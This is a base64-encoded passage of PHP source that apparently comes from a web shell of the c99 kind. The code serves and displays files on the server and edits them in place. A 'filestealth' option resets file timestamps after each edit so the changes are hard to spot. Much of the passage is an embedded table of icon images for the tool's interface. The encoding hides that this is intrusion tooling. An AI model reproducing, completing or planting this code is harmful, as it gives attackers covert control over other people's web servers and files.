ICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIi
IC4gJGYgLiAiLnR4dFwiOyIpOw0KICAgICAgICAgICAgICAgIGVjaG8gKCRyKTsNCiAgICAgICAg
ICAgICAgICBleGl0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgkZnQgPT0g
ImltZyIpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGluZiA9IGdldGltYWdlc2l6
ZSgkZCAuICRmKTsNCiAgICAgICAgICAgICAgICBpZiAoISR3aGl0ZSkNCiAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkaW1nc2l6ZSkpDQogICAgICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbWdzaXplID0gMjA7DQogICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHdpZHRoID0gJGluZlswXSAv
IDEwMCAqICRpbWdzaXplOw0KICAgICAgICAgICAgICAgICAgICAkaGVpZ2h0ID0gJGluZlsxXSAv
IDEwMCAqICRpbWdzaXplOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxiPlNp
emU6PC9iPiZuYnNwOyI7DQogICAgICAgICAgICAgICAgICAgICRzaXplcyA9IGFycmF5KA0KICAg
ICAgICAgICAgICAgICAgICAgICAgIjEwMCIsDQogICAgICAgICAgICAgICAgICAgICAgICAiNTAi
LA0KICAgICAgICAgICAgICAgICAgICAgICAgIjIwIg0KICAgICAgICAgICAgICAgICAgICApOw0K
ICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpDQogICAgICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiIC4gJHN1
cmwgLiAiYWN0PWYmZj0iIC4gdXJsZW5jb2RlKCRmKSAuICImZnQ9aW1nJmQ9IiAuIHVybGVuY29k
ZSgkZCkgLiAiJmltZ3NpemU9IiAuICR2IC4gIlwiPiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICBpZiAoJGltZ3NpemUgIT0gJHYpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgZWNobyAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dT4iIC4gJHYgLiAiPC91PiI7DQog
ICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8
L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgICAgICBlY2hvICI8YnI+PGJyPjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1mJmY9
IiAuIHVybGVuY29kZSgkZikgLiAiJmZ0PWltZyZ3aGl0ZT0xJmQ9IiAuIHVybGVuY29kZSgkZCkg
LiAiXCIgd2lkdGg9XCIiIC4gJHdpZHRoIC4gIlwiIGhlaWdodD1cIiIgLiAkaGVpZ2h0IC4gIlwi
IGJvcmRlcj1cIjFcIj48L2NlbnRlcj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBAb2JfY2xl
YW4oKTsNCiAgICAgICAgICAgICAgICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsICIuIik7DQogICAg
ICAgICAgICAgICAgICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpIC0gMV07DQogICAgICAgICAg
ICAgICAgICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiIC4gJGluZlsibWltZSJdKTsNCiAgICAg
ICAgICAgICAgICAgICAgcmVhZGZpbGUoJGQgLiAkZik7DQogICAgICAgICAgICAgICAgICAgIGV4
aXQ7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlm
ICgkZnQgPT0gImVkaXQiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICghZW1w
dHkoJHN1Ym1pdCkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAo
JGZpbGVzdGVhbHRoKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAkc3RhdCA9IHN0YXQoJGQgLiAkZik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICAgICAgJGZwID0gZm9wZW4oJGQgLiAkZiwgInciKTsNCiAgICAgICAgICAgICAg
ICAgICAgaWYgKCEkZnApDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgICAgIGVjaG8gIjxiPkNhbid0IHdyaXRlIHRvIGZpbGUhPC9iPiI7DQogICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Yj5TYXZlZCE8L2I+IjsNCiAgICAgICAg
ICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICRlZGl0X3RleHQpOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVz
dGVhbHRoKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHRvdWNoKCRkIC4gJGYsICRzdGF0WzldLCAkc3RhdFs4XSk7DQogICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkciA9ICRlZGl0X3RleHQ7DQog
ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
JHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwgJHIpKTsNCiAgICAgICAgICAgICAgICBpZiAo
JHJvd3MgPCAxMCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRyb3dz
ID0gMTA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkcm93cyA+IDMw
KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJvd3MgPSAzMDsNCiAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIiAu
ICRzdXJsIC4gImFjdD1mJmY9IiAuIHVybGVuY29kZSgkZikgLiAiJmZ0PWVkaXQmZD0iIC4gdXJs
ZW5jb2RlKCRkKSAuICJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJt
aXQgdmFsdWU9XCJTYXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJyZXNldFwiIHZhbHVlPVwiUmVz
ZXRcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsb2NhdGlvbi5ocmVm
PSciIC4gYWRkc2xhc2hlcygkc3VybCAuICJhY3Q9bHMmZD0iIC4gc3Vic3RyKCRkLCAwLCAtMSkp
IC4gIic7XCIgdmFsdWU9XCJCYWNrXCI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZWRpdF90ZXh0XCIg
Y29scz1cIjEyMlwiIHJvd3M9XCIiIC4gJHJvd3MgLiAiXCI+IiAuIGh0bWxzcGVjaWFsY2hhcnMo
JHIpIC4gIjwvdGV4dGFyZWE+PC9mb3JtPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBl
bHNlaWYgKCFlbXB0eSgkZnQpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8g
IjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0
aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xP
QkFMUy48L2I+PC9jZW50ZXI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxiPlVua25vd24gZXh0
ZW5zaW9uICgiIC4gJGV4dCAuICIpLCBwbGVhc2UsIHNlbGVjdCB0eXBlIG1hbnVhbGx5LjwvYj48
L2NlbnRlcj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KZWxzZQ0Kew0K
ICAgIEBvYl9jbGVhbigpOw0KICAgICRpbWFnZXMgPSBhcnJheSgNCiAgICAgICAgImFycm93X2x0
ciIgPT4gIlIwbEdPRGxoSmdBV0FJQUFBQUFBQVAvLy95SDVCQVVVQUFFQUxBQUFBQUFtQUJZQUFB
SXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1FTSXJVWkdab2VyS2YyOEtqUE5QT2FrdTVSZlordVFz
S2g4UmlvZ0FBT3c9PSIsDQogICAgICAgICJiYWNrIiA9PiAiUjBsR09EbGhGQUFVQUtJQUFBQUFB
UC8vLzkzZDNjREF3SWFHaGdRRUJQLy8vd0FBQUNINUJBRUFBQVlBTEFBQUFBQVVBQlFBQUFNOGFM
cmMvakRLU1dXcGpWeXNTTmlZSjRDVU9CSm9xam5pSUx6d3V6THRZTi8zekJTRXJmNmtCVytnS1Jp
UFJnaFBoK0VGSzBtT1VFcXRXZzBKQURzPSIsDQogICAgICAgICJidWZmZXIiID0+ICJSMGxHT0Rs
aEZBQVVBS0lBQUFBQUFQLy8vL2o0K04zZDNjek16TEt5c29hR2h2Ly8veUg1QkFFQUFBY0FMQUFB
QUFBVUFCUUFBQU5vZUxyY3JpYkc5MHk0RjFBbXU1K05oWTJreGwyQ01Ld3JRUlNHdVZqcDRMbXdE
QVdxaUFHRlhDaGcreGhuUkIrcHRMT2hhaTFjckVtRERsd3Y0Y0VDNDZtaTJZZ0pRS2F4c0VHREZu
bkd3V0RURXpqOWpyUFJkYmh1RzhDci8ySU5aSU9FaFhzYkR3a0FPdz09IiwNCiAgICAgICAgImNo
YW5nZSIgPT4gIlIwbEdPRGxoRkFBVUFNUWZBTDNoajduWCtwcW8xZWp5L2Y3WUFjVGIrOHZoKzZG
dEg1NldadHZyL1JBUUVaZWN4OUxsL1BYNi92MysvM2VIdDZxODhlSHUvWmtmSDN5VnlJdVF0Kzcy
L2tPbTk5Zm8vUDhBWm01N3JrR1M0SGV6NnBpbDlvZXAzR1ptWnYvLy95SDVCQUVBQUI4QUxBQUFB
QUFVQUJRQUFBV2Y0Q2VPWkdtZTZObXRMT3VsWCtjNFRWTlZRN2U5cUZ6Zmc0SEZvbmtkSkE1UzU0
Y2JSQW9GeUVPQ3dTaVV0bVlra3Jnd09BZUE1enJxYUxsZEJpTk1JSmVEMjY2WFlUZ1FEbTVSeDht
ZEcrb0FiU1lkYUg0R2EzYzhKQk1KYVhRR0JRZ0FDSGtqRTRhUWtRMEFsU0lUYW4rWkFRcWtpaVFQ
ajFBRkFhTUtFS1lqRDM5UXJLd0tBYThuR1FLOEFndS9DeFRDc0NNZXhzZkl4akRMek1zaEFEcz0i
LA0KICAgICAgICAiZGVsZXRlIiA9PiAiUjBsR09EbGhGQUFVQU9aWkFQejgvTlBGeU5nSExzMFlP
dlB6OC9iMjlzYWNwTlhWMWZYMTljd1hPZkR3OEtlbnAvbjUrZXRnZXVucDZkY0dMTU1wUnVycTZw
S1NrdHZiMisvdjcrMXdoM1IwZFBuUDE3aUFpcHh5ZWw5Zlg3ZGpjc2NTTTkzZDNaR1JrZUVzVGV2
ZDRMQ3dzR1JrWkdwT1UrSWZRK0VRTm9oNmZkSWNQZUhoNFlXRmhiSlFZdkx5OHVpK3htNXVic3hj
Y094OGtjTTRVdFk5V2VBZFFZbUppZld2dkh4OGZNbkp5Y00zVWYzdjhyUnVlOThPTmJPenM5WUZL
NVNVbEtZb1ArVGs1TjBvU3VmbjU3WkdXc1FyUjlrSUw1Q1FrT1BqNDJWbFplQVBOdWRBWDlzS01Q
djcrMTVRVTV1Ym0zOS9mOGU1dTR4aWF0cmEydWJLejhQRHcrcGZlZTkvbE1LMHQ4MXJmZDhBS2Yv
Ly93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINUJBRUFBRmtBTEFBQUFB
QVVBQlFBQUFlc2dGbUNnNFNGaG9lSWhpVWZJSW1JTWxnUUI0NkdMQWxZUWthRlZWaFNBSVpMVDVj
YkVZSTRTVG81TXhPZmhRd0JBMWdZQ2hja1FCazFPd2lJQUxBQ0xrZ3hKaWxUQkk2OVJGaERGaDRI
REpSWlZGZ1BQRkJSMEZrTldEZE1IQThHQlpUYU1DSVNWZ01DNElrVldDY2FQU2k5Nk9xR05GaEtJ
MDRkZ3IwUVdGY0tETDNBNHVPSWpWWlpBQnhRSVdEQkxrSUVRclJvUXNIUWp3VkZIQmdpRUdRRkln
UWFzWWtjU2JKUUlBQTciLA0KICAgICAgICAiZG93bmxvYWQiID0+ICJSMGxHT0RsaEZBQVVBTE1J
QUFEL0FBQ0FBSUFBQU1EQXdIOS9mLzhBQVAvLy93QUFBUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFVQUJRQUFBUk9FTWxKcTcwNFV5R092a0xoZlZVNGtw
T0pTcHg1bkY5WWlDdExmMFN1SDdwdUVZT2djQmdrd0FpR3BIS1p6QjJKeEFEQVNRRkNpZFFKc01m
ZEdxc0RKbk9RbFhUUDM4cHJ6V2JYM3FnSUFEcz0iLA0KICAgICAgICAiZm9yd2FyZCIgPT4gIlIw
bEdPRGxoRkFBVUFQSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZ
QUxBQUFBQUFVQUJRQUFBTThhTHJjL2pESzJRcDl4VjVXaU41RzUwRlphUkxENkloRTY2THB0M1JE
YmQ5Q1FGU0U0UCsrUVc3SGU3VUtQaDBJcVZ3MmwwUlFTRXF0V3FzSkFEcz0iLA0KICAgICAgICAi
aG9tZSIgPT4gIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8rcnE2dDNkM2N6TXpMS3lzb2FHaG1a
bVpnUUVCUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINUJBRUFBQWtBTEFBQUFBQVVBQlFB
QUFSK01NazVUVFdJNmlweU1vTzNjVVdSZ2VKb0NDYUxvS08wbXEwWnhqTlNCRFdTa3JxQXNMZko3
WVFCbDR0aVJDWUZTcFBNZFJSQ29RT2lMNGk4Q2daZ2swOVdmV0xCWVpIQjZVV2pDZXF1d0VESHVP
RVZLM1F0Z04valZ3TXJCRFp2Z0YrQ2hIYUdlWWlDQlFZSENIOFZCSmFXZEFlU2w1WWlXNStnb0JJ
UkFEcz0iLA0KICAgICAgICAibW9kZSIgPT4gIlIwbEdPRGxoSFFBVUFMTUFBQUFBQVAvLy82Q2dw
TjNkM2N6TXpJYUdobVptWmw5ZlgvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINUJB
RUFBQWdBTEFBQUFBQWRBQlFBQUFTQkVNbEpxNzA0NjFtNi8rQUhaTVVnbkdpcW5pTldISEFzejNG
N0ZVR3U3M3hPMkJaY3dHRG9FWGsvVXE0SUNBQ2VRNmZ6bVhUbG5zMGRkbGU5OWI3Y0Z2WXBFUjU1
WjEwWHkxbEt0OHdwb0lzQUNyZGFxQnBZRVlLL2RIMUxSV2lFZTBwUlRYQnZWSHdVZDNvNmVENk9I
QVNYbUptYW1KVVNZNStnbnh1anBCSVJBRHM9IiwNCiAgICAgICAgInJlZnJlc2giID0+ICJSMGxH
T0RsaEVRQVVBTE1BQUFBQUFQLy8vL0h4OGVycTZ1UGo0OTNkM2N6TXpMS3lzb2FHaG1abVpsOWZY
d1FFQlAvLy93QUFBQUFBQUFBQUFDSDVCQUVBQUF3QUxBQUFBQUFSQUJRQUFBUjFrTWxKcTBRNDYw
eFIrR0FvSU12a2hlSVlsTXlKQmtKOGxtNll4TUtpNnpXWTNBS0NZYmpvL1k0RVFxRmdLSVlVaDhF
dnVXUTZQd1BGUUpwVUxwdW5yWFpMcllLeDIwRzNvREE3MDkzRXN2MTlxNU8vd29GdTlaQUpSM2x1
Zm1XQ1ZYMTNoM0tIZldXTWpHQkRrcE9VVFR1WG1KZ1JBRHM9IiwNCiAgICAgICAgInNlYXJjaCIg
PT4gIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8rcnE2dDNkM2N6TXpNREF3TEt5c29hR2huZDNk
MlptWmw5ZlgwMU5UU2twS1FRRUJQLy8vd0FBQUNINUJBRUFBQTRBTEFBQUFBQVVBQlFBQUFTbjBN
bDVxajB6NXhyNitKWkdlVVpwSElxUk5PSVJmSVlpeSthNnZjT3BIT2FwczVJS1FjY3o4WGdLNEVH
Z1FxV012a3JTc2N5bGhvYUZWbXVaTGdVREFuWnhFQk1PRFNucmtoaVNDWjRDR3JVV01BK0xMRHh1
U0hzREFrTjRDM3NmQlgxMFZIYUJKNFFmQTRlSVU0cGlqUWNGbUNWb05rRmxnZ2NNUlNjTlNVQ2RK
eWhvRGFzTlo1TVREVnNYQndsdmlSbXJDYnE3QzZzSXJxYXdyS3dUdjY4aXlBNnJEaEVBT3c9PSIs
DQogICAgICAgICJzZXR1cCIgPT4gIlIwbEdPRGxoRkFBVUFNUUFBQUFBQVAvLy8vajQrT1BqNDkz
ZDNjek16TURBd0xLeXNwYVdsb2FHaG5kM2QyWm1abDlmWDAxTlRVSkNRaHdjSFAvLy93QUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVC
QUVBQUJBQUxBQUFBQUFVQUJRQUFBV1ZJQ1NLaWtLV2FEbXVTaENVYmp6TXdFb0doVnZzZkhFRU5S
WU9nZWdsamtlZzBQRjRLQklGUk1JQnFDYUNKNGVJR1FWb0lWV3NUZlFvWE1mb1VmbU1acmdaMkdO
RFBHSUk3Z0pETFlFcndHMXZnVzhDQ1F0emdIaUpBbmFGaHl0MmR3UUVPd2NNWm9aMGtKS1VsWmVP
ZFFLYlBnZWRqWm1obkFjSmxxYUlxVWVzbUlpa3BFaXhueUpodWxVTWhnMjRhU082WXlFQU93PT0i
LA0KICAgICAgICAic21hbGxfZGlyIiA9PiAiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FN
N09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1QkFF
QUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJk
RW9NcUNlYnAvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVy
SmZhRlVVQTN2QjRmQklCQURzPSIsDQogICAgICAgICJzbWFsbF91bmsiID0+ICJSMGxHT0RsaEVB
QVFBSGNBQUNINUJBRUFBSlVBTEFBQUFBQVFBQkFBaHdBQUFJZXAzQkU5bWxsaWMzQjVpVnBqZE12
aC9NTGMreTFVcDlQbS9HVnVmYzdqL016Vi85WG0vRU9tOTlibi9OanAvYTdRK3RUbS9MSFMrZVh3
L3Qzci9ObnAvZGpvL05ycS9majcvOXZxL05mby9NYmUrOHJoL01uZys3alcrcnZZK3I3Wis3WFI5
ZERrL05Iay9OTGwvTFRVK3JuWCs4emkvTGJWKytmeC9lNzIvdkgzL3ZMNC91MzEvZTMxL3VEdS9k
enIvT3J6L2VIdS9mWDYvdkg0L3YvLy8vdisvM2V6NnZmNy8vVDUva0dTNFB2OS83WFYrckhUK3Iv
YityemErdlA0L3V6MC91cnovdTcxL3V2ei9kVG4vTS9rL04zcy9kdnIvY2pnKzhQZCs4SGMrc2Zm
KzhUZSsvRDIvclhJOHJIRjhick04N2ZKOG5tUHdyM044Ni9EOEt2QjhGOW5lRUZvdEVCbnRFTnB0
RU5wdFN4VXB4MUlvRGxmclRSY3JaZWV5WmFjeHBtaHpJdVJ0cFdaeEl1T3VLcXo5Wk9Xd1g2SXMz
V0l1NWltMDdySjlKMnQyWmVrMG01N3JwcW8xbktDdFVWcnRZaXIzdmY2LzQ2djRZdXU0V1p2ZnI3
UDZzUFM2c0RRNjZYQjZjalo4YS9LNzkvcy9kYm4vZXp6L2N6ZDltTjBqS1RCNmFpLzc2Vzk3bmlY
ejJHQ3dWNkF3VWRzdFh5VnlHU0R3bm1ZejRpbzI0T2kxYTNCNDVTeTRhZTk0NENjejRTajFuMkds
Z0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBam5BQ3RWQ2tDdzRKeEpBUVFxRkJqQXhvME1O
R3FzQUJRQWg2Q0ZBM25rME1IaVJSRVZEaHpzb0xRd0FKMGdUNFRvZWNTSEFZTXphUWdvRE5DQ1NC
NEVBbkltQ2lTQmpVeUdMb2JnWEJUcGtBQTVJNnBnbVNrRHo1Y3VNU3o4eVdsQXlvQ1pGR2I0U1FL
aEFTTUJYSnBNdVNyUUVRd2tHallrUUNUQXk2QWxVTWhXa2xRQnc0TUVoZ1NBNlhQZ1J4UzVpaTQw
S0xGZ2k0QkdURUtBc0NLWGloRVNDenJzZ1NRQ3lJa1VWK1NxT1lMQ0E0Y3NBdXA4Nk9HRGtOdzRC
cFE0T2FCRmdCMFRFeUlVS3FEd1RSczRhOXlNQ1NPbURCb3ladTRzSktDZ3dJRGp5QXNva0JrUUFE
cz0iLA0KICAgICAgICAibXVsdGlwYWdlIiA9PiAiUjBsR09EbGhDZ0FNQUpFREFQLy8vLy8zbVFB
QUFBQUFBQ0g1QkFFQUFBTUFMQUFBQUFBS0FBd0FBQUlqM0lScEpoQ09Ebm92aWRBb3ZCZE16emtp
eGxYZGxJMm9acEpXRXNTeXdMelJVQUFBT3c9PSIsDQogICAgICAgICJzb3J0X2FzYyIgPT4gIlIw
bEdPRGxoRGdBSkFLSUFBQUFBQVAvLy85VFF5SUNBZ1AvLy93QUFBQUFBQUFBQUFDSDVCQUVBQUFR
QUxBQUFBQUFPQUFrQUFBTWFTTHJjUGNFOUdLVWFRbFE1c041UGxvRkxKMzVPb0s2cTVTWUFPdz09
IiwNCiAgICAgICAgInNvcnRfZGVzYyIgPT4gIlIwbEdPRGxoRGdBSkFLSUFBQUFBQVAvLy85VFF5
SUNBZ1AvLy93QUFBQUFBQUFBQUFDSDVCQUVBQUFRQUxBQUFBQUFPQUFrQUFBTWJTTHJjT2pCQ0I0
VVZJVGd5THQ1Y2gybWdTSlpEQmk3cDZoSUpBRHM9IiwNCiAgICAgICAgInNxbF9idXR0b25fZHJv
cCIgPT4gIlIwbEdPRGxoQ1FBTEFQY0FBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ0lDQWdN
REF3UDhBQUFEL0FQLy9BQUFBLy84QS93RC8vLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFNd0FBWmdBQW1RQUF6QUFBL3dBekFBQXpNd0F6WmdBem1RQXp6
QUF6L3dCbUFBQm1Nd0JtWmdCbW1RQm16QUJtL3dDWkFBQ1pNd0NaWmdDWm1RQ1p6QUNaL3dETUFB
RE1Nd0RNWmdETW1RRE16QURNL3dEL0FBRC9Nd0QvWmdEL21RRC96QUQvL3pNQUFETUFNek1BWmpN
QW1UTUF6RE1BL3pNekFETXpNek16WmpNem1UTXp6RE16L3pObUFETm1Nek5tWmpObW1UTm16RE5t
L3pPWkFET1pNek9aWmpPWm1UT1p6RE9aL3pQTUFEUE1NelBNWmpQTW1UUE16RFBNL3pQL0FEUC9N
elAvWmpQL21UUC96RFAvLzJZQUFHWUFNMllBWm1ZQW1XWUF6R1lBLzJZekFHWXpNMll6Wm1Zem1X
WXp6R1l6LzJabUFHWm1NMlptWm1abW1XWm16R1ptLzJhWkFHYVpNMmFaWm1hWm1XYVp6R2FaLzJi
TUFHYk1NMmJNWm1iTW1XYk16R2JNLzJiL0FHYi9NMmIvWm1iL21XYi96R2IvLzVrQUFKa0FNNWtB
WnBrQW1aa0F6SmtBLzVrekFKa3pNNWt6WnBrem1aa3p6Smt6LzVsbUFKbG1NNWxtWnBsbW1abG16
SmxtLzVtWkFKbVpNNW1aWnBtWm1abVp6Sm1aLzVuTUFKbk1NNW5NWnBuTW1abk16Sm5NLzVuL0FK
bi9NNW4vWnBuL21abi96Sm4vLzh3QUFNd0FNOHdBWnN3QW1jd0F6TXdBLzh3ekFNd3pNOHd6WnN3
em1jd3p6TXd6Lzh4bUFNeG1NOHhtWnN4bW1jeG16TXhtLzh5WkFNeVpNOHlaWnN5Wm1jeVp6TXla
Lzh6TUFNek1NOHpNWnN6TW1jek16TXpNLzh6L0FNei9NOHovWnN6L21jei96TXovLy84QUFQOEFN
LzhBWnY4QW1mOEF6UDhBLy84ekFQOHpNLzh6WnY4em1mOHp6UDh6Ly85bUFQOW1NLzltWnY5bW1m
OW16UDltLy8rWkFQK1pNLytaWnYrWm1mK1p6UCtaLy8vTUFQL01NLy9NWnYvTW1mL016UC9NLy8v
L0FQLy9NLy8vWnYvL21mLy96UC8vL3lINUJBRUFBQkFBTEFBQUFBQUpBQXNBQUFnNEFQOEpSRUZR
NEQrQ0NCT2k0TWF3SVRlRkNnL2lRaEVQeGNTQmxGQ29RNUZ4NE1TS3YxQmdSR0dNbzBpSkZDMmVo
SGpTb010L0FRRUFPdz09IiwNCiAgICAgICAgInNxbF9idXR0b25fZW1wdHkiID0+ICJSMGxHT0Rs
aENRQUtBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8v
QUFBQS8vOEEvd0QvLy8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBTXdBQVpnQUFtUUFBekFBQS93QXpBQUF6TXdBelpnQXptUUF6ekFBei93Qm1BQUJtTXdC
bVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURN
ekFETS93RC9BQUQvTXdEL1pnRC9tUUQvekFELy96TUFBRE1BTXpNQVpqTUFtVE1BekRNQS96TXpB
RE16TXpNelpqTXptVE16ekRNei96Tm1BRE5tTXpObVpqTm1tVE5tekRObS96T1pBRE9aTXpPWlpq
T1ptVE9aekRPWi96UE1BRFBNTXpQTVpqUE1tVFBNekRQTS96UC9BRFAvTXpQL1pqUC9tVFAvekRQ
Ly8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1pt
TTJabVptWm1tV1ptekdabS8yYVpBR2FaTTJhWlptYVptV2FaekdhWi8yYk1BR2JNTTJiTVptYk1t
V2JNekdiTS8yYi9BR2IvTTJiL1ptYi9tV2IvekdiLy81a0FBSmtBTTVrQVpwa0FtWmtBekprQS81
a3pBSmt6TTVrelpwa3ptWmt6ekprei81bG1BSmxtTTVsbVpwbG1tWmxtekpsbS81bVpBSm1aTTVt
